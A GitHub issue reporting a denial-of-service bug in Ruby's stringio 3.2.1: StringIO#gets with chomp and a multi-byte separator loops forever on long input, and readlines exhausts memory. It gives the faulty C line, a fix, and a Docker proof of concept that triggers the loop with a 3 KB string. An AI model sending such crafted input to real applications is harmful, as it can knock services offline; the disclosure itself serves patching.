Skip to content

Infinite loop / memory exhaustion (DoS) in StringIO#gets/#readlines/#each_line #218

Description

@pranjalithakur

Version

stringio 3.2.1

Description

StringIO#gets with chomp: true and a 2+ byte separator loops forever once ≥ 1024 bytes remain to read: the position never advances past the separator, so gets returns "" indefinitely and never reaches EOF. #readlines/#each_line share the path; #readlines piles the empty strings into an array, so a ~3 KB input exhausts memory in seconds.

This is Ruby Bug #18769 only half-fixed. strio_getline() finds a multi-byte separator two ways — linear scan (< 1024 bytes) and Boyer-Moore (≥ 1024 bytes). Commit 4bf64d5 fixed the linear branch but not Boyer-Moore (ext/stringio/stringio.c:1441-1447):

// buggy: with chomp, e = start of separator and w stays 0, so ptr->pos never moves past it
if ((pos = bm_search(p, n, s, e - s, skip)) >= 0) e = s + pos + (arg->chomp ? 0 : n);
// fix (mirror the linear branch):
if ((pos = bm_search(p, n, s, e - s, skip)) >= 0) { e = s + pos + n; if (arg->chomp) w = n; }

PoC

docker run --rm -v "$PWD":/src -w /src ruby:3.3-bookworm bash -c '
  set -e
  apt-get update -qq >/dev/null && apt-get install -y -qq build-essential procps >/dev/null
  cd /tmp && ruby /src/ext/stringio/extconf.rb >/dev/null && make -j"$(nproc)" CFLAGS="-O2 -fPIC" >/dev/null
  echo "built $(grep -oE "STRINGIO_VERSION = \"[^\"]+\"" /src/ext/stringio/stringio.c)"
  # >1024 bytes after the "::" separator -> the buggy Boyer-Moore branch
  echo "-- gets() returns \"\" forever, pos frozen --"
  ruby -I/tmp -rstringio -e "io=StringIO.new((%q{A}*1500)+%q{::}+(%q{B}*1500)); 3.times{ l=io.gets(%q{::},chomp:true); warn %Q{bytes=#{l.bytesize} pos=#{io.pos}} }"
  echo "-- readlines() memory grows without bound from 3 KB --"
  ruby -I/tmp -rstringio -e "StringIO.new((%q{A}*1500)+%q{::}+(%q{B}*1500)).readlines(%q{::},chomp:true)" & PID=$!
  for i in $(seq 1 6); do sleep 1; R=$(awk "/VmRSS/{print \$2}" /proc/$PID/status 2>/dev/null||true); [ -z "$R" ]&&break; echo "t=${i}s RSS=$((R/1024))MB"; done
  kill -9 $PID 2>/dev/null || true
'

Security Impact

Any app reading untrusted bytes from a StringIO with chomp: true and a multi-byte separator ("\r\n", "\r\n\r\n", a MIME/record boundary, a custom delimiter) over long content can be forced into this loop: 100% CPU + unbounded memory until the process is OOM-killed, and a request timeout can't break it since it never yields. Availability only — no disclosure or code execution.

Credit

depthfirst (Pranjali Thakur - pranjali@depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions